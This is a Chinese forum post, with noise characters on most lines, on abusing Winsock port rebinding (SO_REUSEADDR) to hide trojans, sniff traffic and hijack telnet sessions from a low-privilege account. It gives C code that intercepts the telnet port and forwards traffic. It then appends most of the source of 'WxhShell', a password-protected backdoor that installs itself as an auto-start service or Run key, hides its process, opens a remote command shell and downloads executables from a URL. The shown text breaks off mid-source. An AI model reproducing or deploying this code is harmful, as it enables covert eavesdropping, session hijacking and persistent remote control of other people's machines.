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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1N:eM/a  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %{o5 }TqD  
) `;?%N\  
  saddr.sin_family = AF_INET; 3tOnALv  
5#WZXhlc}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^@L  
N"HN] Y@w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SM0=  
bumS>:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -,zNFC:6g  
{N7,=(-2=  
  这意味着什么?意味着可以进行如下的攻击: KOw Ew~  
c3K(mM:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QN*'MA"M  
T[ mTA>d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .@1\26<  
) c+ ZQq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 nFxogCn   
{Ivu"<`L3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *:GoS?Ma  
Yckl,g_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |A5]hL   
:5C9uW #  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xr.fZMOh4  
u~a<Psp&|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *-` /A  
m#'u;GP]k  
  #include ii{5z;I]X  
  #include ,X9Y/S l  
  #include tPFV6n i  
  #include    L(AY)gB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gIRFqEz@o  
  int main() TLO-$>h  
  { 8G(wYlxi  
  WORD wVersionRequested; ;~xkT'  
  DWORD ret; KA%tVBl  
  WSADATA wsaData; 5b|_?Em7  
  BOOL val; //| 9J(B]  
  SOCKADDR_IN saddr; >&Bg F*mm  
  SOCKADDR_IN scaddr; \s+ <w3  
  int err; JnPA;1@/  
  SOCKET s; bzB9u&  
  SOCKET sc; @I_ A(cr  
  int caddsize; Etn]e;z4  
  HANDLE mt; MhJq~G p  
  DWORD tid;   &eg]8kV  
  wVersionRequested = MAKEWORD( 2, 2 ); rK)%n!Z  
  err = WSAStartup( wVersionRequested, &wsaData ); #WfJz}P,!  
  if ( err != 0 ) { KHdj#3<AR  
  printf("error!WSAStartup failed!\n"); /AW6XyMD _  
  return -1; >;0z-;k6  
  }  EMJio\  
  saddr.sin_family = AF_INET; NoiU5pP  
   &/Tx@j^.C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 31J7# S2  
3nR|*t;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g/JAr<  
  saddr.sin_port = htons(23); O`rrg~6#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $mp7IZE|  
  { */?L_\7  
  printf("error!socket failed!\n"); =XudL^GF  
  return -1; Y5Ey%M m6  
  } r\_aux^z  
  val = TRUE; ^3AJYu  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 YHCXVu<.b  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j+Wgjf  
  { (?q]E$ @  
  printf("error!setsockopt failed!\n"); 5C{X$7u  
  return -1; 0.&gm@A~c$  
  } yvNYYp2r  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @WFjM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 aLq=%fsV)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Zw"6-h4  
M,y='*\M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]FQ4v.7  
  { E2%7v  
  ret=GetLastError(); H$\?D+xlf  
  printf("error!bind failed!\n"); hoSk  
  return -1; s7T=/SC54  
  } 2yeq2v   
  listen(s,2); m0/J3  
  while(1) EYG&~a>L*  
  { y$\K@B4  
  caddsize = sizeof(scaddr); 7B+?1E(  
  //接受连接请求 h :NHReMT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A+ Z3b:}~  
  if(sc!=INVALID_SOCKET) 69q8t*%O  
  { K\n %&w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nLT]'B]$ +  
  if(mt==NULL) /?2yo{F g  
  { vR+(7^Yy  
  printf("Thread Creat Failed!\n"); AS4m227  
  break; unjo&  
  } Fi*6ud\n!  
  } P`U5kNN  
  CloseHandle(mt); tDIzn`$ z  
  } \k;raQR4t*  
  closesocket(s); !?Ow"i-lp  
  WSACleanup(); nJ2l$J<  
  return 0; -pkeEuwv{  
  }   j:{<    
  DWORD WINAPI ClientThread(LPVOID lpParam) !gJAK<]iW  
  { aY3kww`  
  SOCKET ss = (SOCKET)lpParam; e(!a~{(kq%  
  SOCKET sc; 1d-j_ H`s  
  unsigned char buf[4096]; :i:Zc~%  
  SOCKADDR_IN saddr; wl(}F^:/`  
  long num; =PO/Q|-v?  
  DWORD val; bh+R9~  
  DWORD ret; G?jY>;P)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M c@p~5!M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   QRt(?96  
  saddr.sin_family = AF_INET; ]G|@F :  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u45e>F=  
  saddr.sin_port = htons(23); TR ]lP<m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~(hmiNa;  
  { ;{HxY98Q  
  printf("error!socket failed!\n"); R`s /^0  
  return -1; @6t3Us~/  
  } QouTMS-b  
  val = 100; guFR5>-L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =YPWt>\a}  
  { Yz%=  
  ret = GetLastError(); A.z~wu%(  
  return -1; KZD&Ih(vC  
  } wBeOMA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w(mn@Qc  
  { ;B1}so1]  
  ret = GetLastError(); XtQ3$0{*%  
  return -1; 39k P)cD  
  } 7a@V2cr@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fnB-?8K<  
  { (<8T*Xo  
  printf("error!socket connect failed!\n"); Bv9;q3]z-  
  closesocket(sc); m=y6E, _  
  closesocket(ss); 1f}S:Z  
  return -1; NWoZDsu  
  } YK}(VF?&  
  while(1) aD 3$z;E  
  { -R&h?ec  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L;BYPZR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Odbjl[>k  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MfYe @ ;m  
  num = recv(ss,buf,4096,0); UejG$JyHP  
  if(num>0) &4{%3w_/  
  send(sc,buf,num,0); A1:<-TF6^p  
  else if(num==0) M"2Tuwz  
  break; L5E.`^?  
  num = recv(sc,buf,4096,0); (Bd8@}\u_  
  if(num>0) _rXTHo7P  
  send(ss,buf,num,0); S1&mY'c  
  else if(num==0) (,`ypD+3q  
  break; &,2h=H,M  
  } Yjv}@i"  
  closesocket(ss); W F<`CQg[  
  closesocket(sc); 3>%rm%ffE  
  return 0 ; jKZJ0`06q  
  } BB5(=n+  
j2SJ4tB /  
Y;d$x}dh  
========================================================== *Hy-D</w%  
:zZK%} G<  
下边附上一个代码,,WXhSHELL okJ+Yl.[?7  
@6 uB78U4O  
========================================================== $^?"/;8P5  
`q7O\  
#include "stdafx.h" .5'M^  
MW8GM}Ho[  
#include <stdio.h> ,\q9>cZ!  
#include <string.h> n#Xi Co_\  
#include <windows.h> 6/Y3#d  
#include <winsock2.h> Yo3my>N&g  
#include <winsvc.h> wUj[c7Y%  
#include <urlmon.h> Ac}+U q  
A#$oY{"2Y  
#pragma comment (lib, "Ws2_32.lib") _0ki19rs  
#pragma comment (lib, "urlmon.lib") yEIM58l  
.dX ^3  
#define MAX_USER   100 // 最大客户端连接数 S[(Tpk2_  
#define BUF_SOCK   200 // sock buffer F)_jW  
#define KEY_BUFF   255 // 输入 buffer L#mf[a@pCn  
-qaJ@T+J+7  
#define REBOOT     0   // 重启 z ^t6VFM  
#define SHUTDOWN   1   // 关机 "/[xak!g  
V:HxRMF2X  
#define DEF_PORT   5000 // 监听端口 8&<C.n KP  
VWf&F`^B(  
#define REG_LEN     16   // 注册表键长度 q ww*  
#define SVC_LEN     80   // NT服务名长度 /ap3>xkt  
;Gixu9u'  
// 从dll定义API t4(Z@X$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oS3'q\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VbX+`CwH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); shlMJa?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _wMxKM  
tN P>6F/  
// wxhshell配置信息 :"QR;O@  
struct WSCFG { |Z6M?n  
  int ws_port;         // 监听端口 4z6i{n-k  
  char ws_passstr[REG_LEN]; // 口令 Xa o*h(Q@L  
  int ws_autoins;       // 安装标记, 1=yes 0=no VPOzt7:  
  char ws_regname[REG_LEN]; // 注册表键名 2IMU &  
  char ws_svcname[REG_LEN]; // 服务名 _[%2QwAUj*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'k^d-Mh>h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3an9Rb V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?X $#J'U;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s"OP[YEke/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DA=#T2)p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  9t$#!2z  
j8Pqc]  
}; r_R( kns  
Q[PVkZ  
// default Wxhshell configuration ht>C6y  
struct WSCFG wscfg={DEF_PORT, \NZ(Xk  
    "xuhuanlingzhe", ~,Y xUn8@  
    1, FS'|e?WU  
    "Wxhshell", Zc!rL0T  
    "Wxhshell", Tumv0=q4wd  
            "WxhShell Service", /$[9-G?  
    "Wrsky Windows CmdShell Service", IvZ,|R?  
    "Please Input Your Password: ", q\DN8IJ  
  1, 1>yh`Bp\=  
  "http://www.wrsky.com/wxhshell.exe", 5S9i>B  
  "Wxhshell.exe" (r6'q0[  
    }; +DsdzR`Gx,  
X&LaAqlSG  
// 消息定义模块 s!IX3rz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B3^F $6=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kuq&8f~!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r5,V-5b  
char *msg_ws_ext="\n\rExit.";  g)Tr#  
char *msg_ws_end="\n\rQuit."; WWEZTFL:j  
char *msg_ws_boot="\n\rReboot..."; | V: 9 ][\  
char *msg_ws_poff="\n\rShutdown..."; $./&GOus  
char *msg_ws_down="\n\rSave to "; fzdWM:g  
)5[OG7/g  
char *msg_ws_err="\n\rErr!"; :{LNr!I?I  
char *msg_ws_ok="\n\rOK!"; @?2ES@G+Ji  
[%c5MQ?H  
char ExeFile[MAX_PATH]; ^j!2I&h1  
int nUser = 0; ]5O]=^ u0  
HANDLE handles[MAX_USER]; @=ro/.  
int OsIsNt; fsjCu!  
0f5c#/7C9  
SERVICE_STATUS       serviceStatus; un F=";9H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; drQI@sPp  
^`S.Mw.  
// 函数声明 XfQK kol  
int Install(void);  ;?G..,  
int Uninstall(void); p:NIRs  
int DownloadFile(char *sURL, SOCKET wsh); Kh8  
int Boot(int flag); ;Rf@S$  
void HideProc(void); <y=+Gh  
int GetOsVer(void); .3'U(U  
int Wxhshell(SOCKET wsl); X \BxRgl},  
void TalkWithClient(void *cs); i7b^b>B|e  
int CmdShell(SOCKET sock); b5S4C2Ynq  
int StartFromService(void); ES)@iM?5  
int StartWxhshell(LPSTR lpCmdLine); L.s$|%  
Q_)$Ha{>H,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C"QB`f:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R $@$  
m%cwhH_B  
// 数据结构和表定义 QuIZpP=  
SERVICE_TABLE_ENTRY DispatchTable[] = | Rj"}SC  
{ hCb2<_3CR  
{wscfg.ws_svcname, NTServiceMain}, Jr=XVQ(F  
{NULL, NULL} W)<t7q+  
}; 9S|a!9J  
mndKUI}d  
// 自我安装 1+#E|YWJ  
int Install(void) sDB,+1"Y$  
{ Vb)NWXmyu  
  char svExeFile[MAX_PATH];  20]p<  
  HKEY key; !;UoZ~  
  strcpy(svExeFile,ExeFile); zHKx,]9b  
"QvTn=  
// 如果是win9x系统,修改注册表设为自启动 ^ X-6j[".  
if(!OsIsNt) { Ro_jfM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iS< ^MD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w6h*dh$w  
  RegCloseKey(key); :=*V i`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7h.fT`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D\| U_>  
  RegCloseKey(key); } ,@ex  
  return 0; {rwT4]4  
    } X/_89<&  
  } vY7 @1_"  
} =ea.+  
else { \mL]xE-  
B1A:}#  
// 如果是NT以上系统,安装为系统服务 sDY+J(Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?AH B\S  
if (schSCManager!=0) (*_lLM@Cd  
{ 8Wo!NG:V5  
  SC_HANDLE schService = CreateService fRT4>So   
  ( TT no  
  schSCManager, dUUg}/  
  wscfg.ws_svcname, .K]Uk/W  
  wscfg.ws_svcdisp, 6 FN#Xg  
  SERVICE_ALL_ACCESS, qi ">AQpp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E3] 8(P%D-  
  SERVICE_AUTO_START, M!D6i5k,   
  SERVICE_ERROR_NORMAL, LpL$=9  
  svExeFile, kZ PL$ \/A  
  NULL, lwz\" 8  
  NULL, '\GU(j  
  NULL, t .}];IJP  
  NULL, 1rS8+!9C  
  NULL %P{3c~?DH  
  ); S{3c}>n  
  if (schService!=0) Abi(1nXdQ  
  { f7|Tp m  
  CloseServiceHandle(schService); ^KnK \  
  CloseServiceHandle(schSCManager); 1{wbC)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0yvp>{;p  
  strcat(svExeFile,wscfg.ws_svcname); )Ay9 0Wt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [ [pt~=0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E [6:}z<  
  RegCloseKey(key); Ndmw/ae  
  return 0; B,&QI&k`~  
    } B=$O4nW_b  
  } i]s%tEZ1  
  CloseServiceHandle(schSCManager); }'faf{W  
} I!Z"X&  
} m=+x9gL2  
o(H.1ESk  
return 1; ZzjCS2U  
} H cyoNY  
?3 k_YN"  
// 自我卸载 89;@#9  
int Uninstall(void) 'n ^,lXWB  
{ h5pfmN\-5  
  HKEY key; 3Pllxq<n  
3!osQ1  
if(!OsIsNt) { "DA%vdu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kY!zBk  
  RegDeleteValue(key,wscfg.ws_regname); O`@- b#  
  RegCloseKey(key); #r]Z2Y]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ."=%]l 0  
  RegDeleteValue(key,wscfg.ws_regname); vy7/  
  RegCloseKey(key); l)dE7$H  
  return 0; 6 Bdxdx*zt  
  } zTj ie  
} =*jFaj  
} 1kw*Q:   
else { 3l45(%g+  
HKJBR)T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R ZQH#+*t}  
if (schSCManager!=0) ZJQFn  
{ LiV&47e*>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 86N,04  
  if (schService!=0) N0Y4m_dm*  
  { 7U_ob"`JV  
  if(DeleteService(schService)!=0) { RJzIzv99m  
  CloseServiceHandle(schService); oKCy,Ot<  
  CloseServiceHandle(schSCManager); Vub6wb<G[  
  return 0; Xd5s8C/}  
  } 3 dJ362  
  CloseServiceHandle(schService); )\EIXTZY=  
  } P1T {5u!T  
  CloseServiceHandle(schSCManager); 3MFT P5~  
} ^@O 7d1&y  
} )!\6 "{  
YCh`V[0  
return 1; zMu9A|  
} ;"x+V gS'  
Vjv6d&Q  
// 从指定url下载文件 (C#0 ML  
int DownloadFile(char *sURL, SOCKET wsh) ?%UiW7}j';  
{ (0b\%;}  
  HRESULT hr; Z>bNU  
char seps[]= "/"; 69)"T{7  
char *token; ufIvvZ*  
char *file; ?x&}ammid  
char myURL[MAX_PATH]; ~Yi4?B<  
char myFILE[MAX_PATH]; 4RB%r  
#jg-q|nd  
strcpy(myURL,sURL); U\H[.qY-  
  token=strtok(myURL,seps); |<h}'  
  while(token!=NULL) 5(J?C-Pk  
  { D^6iQW+.P  
    file=token; QrK%DN  
  token=strtok(NULL,seps); CU\gx*=E  
  } `x/i1^/_@  
zHZfp_I  
GetCurrentDirectory(MAX_PATH,myFILE); */aQ+%>jf  
strcat(myFILE, "\\"); uK$ Xqo%L  
strcat(myFILE, file); Dps{[3Y+  
  send(wsh,myFILE,strlen(myFILE),0); R$3JbR.  
send(wsh,"...",3,0); ,/ig8~u'c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i:o}!RZ>  
  if(hr==S_OK) }I]j&\  
return 0; 7J9l.cM3  
else l~bKBz  
return 1; XTJvV  
c $0_R;4/  
} ^Q0&.hL@  
Q%ruQ#  
// 系统电源模块 AL$W+')  
int Boot(int flag) VFv9Q2/.  
{ s%~L4Wmcq  
  HANDLE hToken; y 'OlQ2U  
  TOKEN_PRIVILEGES tkp; ddsUz1%l  
A\K,_&x1Z  
  if(OsIsNt) { s]U4B<q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h#i\iK&A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0n3D~Xzd  
    tkp.PrivilegeCount = 1; nV}8M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $5,~JYcb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ncv7t|ZN  
if(flag==REBOOT) { ;54(+5pqx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?GdsOg^  
  return 0; e}A&V+  
} l&Z Sm  
else { $;2)s} ci  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YOyp|%!  
  return 0; fN-Gk(Ic  
} z8HsYf(!  
  } <l$P&jSF3  
  else { &D]p,  
if(flag==REBOOT) { <},1Ncl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O:Va&Cyj*  
  return 0; )RN<GW'  
} -DP*q3  
else { XphE loL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xRum*}|4  
  return 0; F8<"AI  
} g5+7p@'fV  
} a(;!O}3_)(  
jk*tL8?i  
return 1; a?F!,=F  
} gZO&r#   
m:uPEpcU  
// win9x进程隐藏模块 rn8cdM N  
void HideProc(void) +r]zs^'  
{ hmpr%(c`  
n[,XU|2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C&+6>L@  
  if ( hKernel != NULL ) xCXQ<77  
  { Z^yNLF*&V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nirDMw[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O^Q ,-=tA\  
    FreeLibrary(hKernel); ?>$l  
  } N\NyXh$  
aJhxc<"e  
return; kJ{+M]pW  
} %Jp|z? [/  
vDFGd-S  
// 获取操作系统版本 ;f1qLI  
int GetOsVer(void) xb:&(6\F  
{ }^xE|~p  
  OSVERSIONINFO winfo; X(@uwX$m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -MBV $:_R  
  GetVersionEx(&winfo); I9?Ec6a_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V`kMCE;?l  
  return 1; u0 QzLi,  
  else Z hd#:d  
  return 0; ,WD X(  
} W/fuKGZi_  
);FS7R  
// 客户端句柄模块 kLj$@E`4  
int Wxhshell(SOCKET wsl) @WMA}\Cc  
{ -0Cnp/Yj@  
  SOCKET wsh; l{Dct\ #s  
  struct sockaddr_in client; K2{aNv R)t  
  DWORD myID; pO7Zs  
n]}W``=7  
  while(nUser<MAX_USER) l12{fpm  
{ rV6/Tdy  
  int nSize=sizeof(client); gw36Ec<M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oGa^/:6L  
  if(wsh==INVALID_SOCKET) return 1; Hc^W%t~  
tM4 Cx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Lfog {Vzs  
if(handles[nUser]==0) #bH_Dg5I  
  closesocket(wsh); ?e[lr>-  
else qpIC{'A.  
  nUser++; lVOu)q@l7g  
  } "]K>j'^Zs<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^D%FX!$  
EU7|,>a  
  return 0; br-]fE.be  
} d.UQW yLG  
Rk!X]-`=  
// 关闭 socket yAL[[  
void CloseIt(SOCKET wsh) ApBWuXp|u  
{ s\!>"J bAQ  
closesocket(wsh); 3?2 FP|G8  
nUser--; oND@:>QBF  
ExitThread(0); tW WWx~k  
} KlRr8 G!Z  
Q></`QWpoB  
// 客户端请求句柄 ZKHG!`X0  
void TalkWithClient(void *cs) #(An6itl  
{ ry9T U  
^nbnbU4'  
  SOCKET wsh=(SOCKET)cs; iQDx{m3]  
  char pwd[SVC_LEN]; {|I;YDA  
  char cmd[KEY_BUFF]; hGpv2>M  
char chr[1]; ]vwW]O7  
int i,j; !*R qCS,  
DL$@?.?I  
  while (nUser < MAX_USER) { :#@= B]  
S$QG.K:<!  
if(wscfg.ws_passstr) { % qV 6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z#rB}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CHe>OreiS  
  //ZeroMemory(pwd,KEY_BUFF); 89r DyRJ;  
      i=0; dFKM 8_jH  
  while(i<SVC_LEN) { ^0/j0]O  
;L']e"G  
  // 设置超时 0u\GO;  
  fd_set FdRead; E? _Z`*h  
  struct timeval TimeOut; ZYC<Wb)I  
  FD_ZERO(&FdRead); xlQBe-Wg  
  FD_SET(wsh,&FdRead); hCC<?5q  
  TimeOut.tv_sec=8; : |>Gc39`t  
  TimeOut.tv_usec=0; <J^MCqp!v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C.FI~Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zux{S; :?  
nDHTV !]<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EOCN&_Z;  
  pwd=chr[0]; +0OLc2 )w  
  if(chr[0]==0xd || chr[0]==0xa) { E{|W(z,  
  pwd=0; 9jw\s P@  
  break; +F^^c2E  
  } B]Thn  
  i++; p>4-s, W  
    } ME*LH r,  
Le\?+h42>  
  // 如果是非法用户,关闭 socket MRdduPrM%$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Eea*s'  
} JU)dr4S?  
v_DedVhe  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YB2VcF.LU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JsODzw  
^zQ/mo,Z  
while(1) { NA~Vg8  
tP$<UKtU  
  ZeroMemory(cmd,KEY_BUFF); 9po3m]|zy  
. QBF`Rz  
      // 自动支持客户端 telnet标准   #T'{ n1AI  
  j=0; ++`0rY%  
  while(j<KEY_BUFF) { =,6z4" )  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y ~U #veY  
  cmd[j]=chr[0]; .oeX"6K  
  if(chr[0]==0xa || chr[0]==0xd) { oU.R2\Q  
  cmd[j]=0; zd >t-?g  
  break; oYH^_V  
  } ,Ge"anO  
  j++; z?R|Ok  
    } !WQ-=0cm  
-#N.X_F  
  // 下载文件 \D*KGd]M0  
  if(strstr(cmd,"http://")) { |xdsl,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v0H@Eg_  
  if(DownloadFile(cmd,wsh)) ;'#8tGv=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JehrDC2N  
  else ).`1+b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #."-#"0  
  } 2{H@(Vgpbr  
  else { hG12ZZD  
%N>%!m  
    switch(cmd[0]) { V{/?FO?E  
  Y[}>CYO  
  // 帮助 svcK?^ HTe  
  case '?': { Ku5\]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #P0&ewy  
    break; nxnv,AZG  
  } 5m&9"T.w  
  // 安装 5B3G @KR  
  case 'i': { <lx+/o  
    if(Install()) | *2w5iR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FKDk+ojw  
    else 'vbsvT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yerg=,$_i  
    break; -#u=\8  
    } ;- ~B)M_S`  
  // 卸载 w0rRSD4S8B  
  case 'r': { f e\$@-  
    if(Uninstall()) G\2 CR*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "O3tq =Q  
    else vWz m @  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ` Mjj@[  
    break; v_+{'F  
    } @E7DyU|  
  // 显示 wxhshell 所在路径 Z'`<5A%;  
  case 'p': { M?Y;a5{  
    char svExeFile[MAX_PATH]; ,8U &?8l  
    strcpy(svExeFile,"\n\r"); snE8 K}4  
      strcat(svExeFile,ExeFile); `u3EU*~W  
        send(wsh,svExeFile,strlen(svExeFile),0); BC&S>#\  
    break; N{9v1`B  
    } wh$sn:J  
  // 重启 #+ 0M2Sa  
  case 'b': { :}'=`wa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +%yfcyZ.  
    if(Boot(REBOOT)) 81? hY4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h \fjBDU^  
    else { P+@/O  
    closesocket(wsh); x nsLf?>]  
    ExitThread(0); x9UX!Z5*>  
    } e'6/` Evqz  
    break; Hq'`8f8N  
    } W <9T0sZ  
  // 关机 \ub7`01  
  case 'd': { ]#)()6)2v  
